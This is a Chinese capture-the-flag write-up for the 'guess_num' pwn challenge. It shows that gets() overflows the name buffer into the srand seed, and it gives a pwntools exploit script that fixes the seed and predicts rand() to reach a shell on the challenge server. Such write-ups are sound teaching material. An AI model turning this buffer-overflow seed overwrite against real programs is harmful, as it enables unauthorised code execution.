题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1
checksec文件:
开启了carry,不能进行栈溢出
用ida打开:
功能很简单,先输入你的name,进行十次输入,进行比较rand number,成功则调用sub_C3E(),也就是system函数
只需要控制随机数种子,就可以使输出可控。这里可以通过gets函数的输入覆盖种子seed
rand函数和srand函数相关知识:https://blog.csdn.net/qq_41199502/article/details/80726780
可以看到:var30和seed相差20
通过ldd查找libc共享库, 这里python需要用到c语言的标准动态库(https://www.cnblogs.com/yssjun/p/9960479.html)
可以构造exp:
from pwn import *
from ctypes import *
context.log_level = 'debug'
#cnn = process('./guess_num')
cnn = remote("111.198.29.45","51398")
elf = ELF('./guess_num')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 0x20*'a' + p64(1)
cnn.recvuntil('name:')
cnn.sendline(payload)
libc.srand(1)
for i in range(10):
cnn.sendlineafter('number:',str(libc.rand()%6+1))
cnn.interactive()
exp
手机扫一扫
移动阅读更方便
你可能感兴趣的文章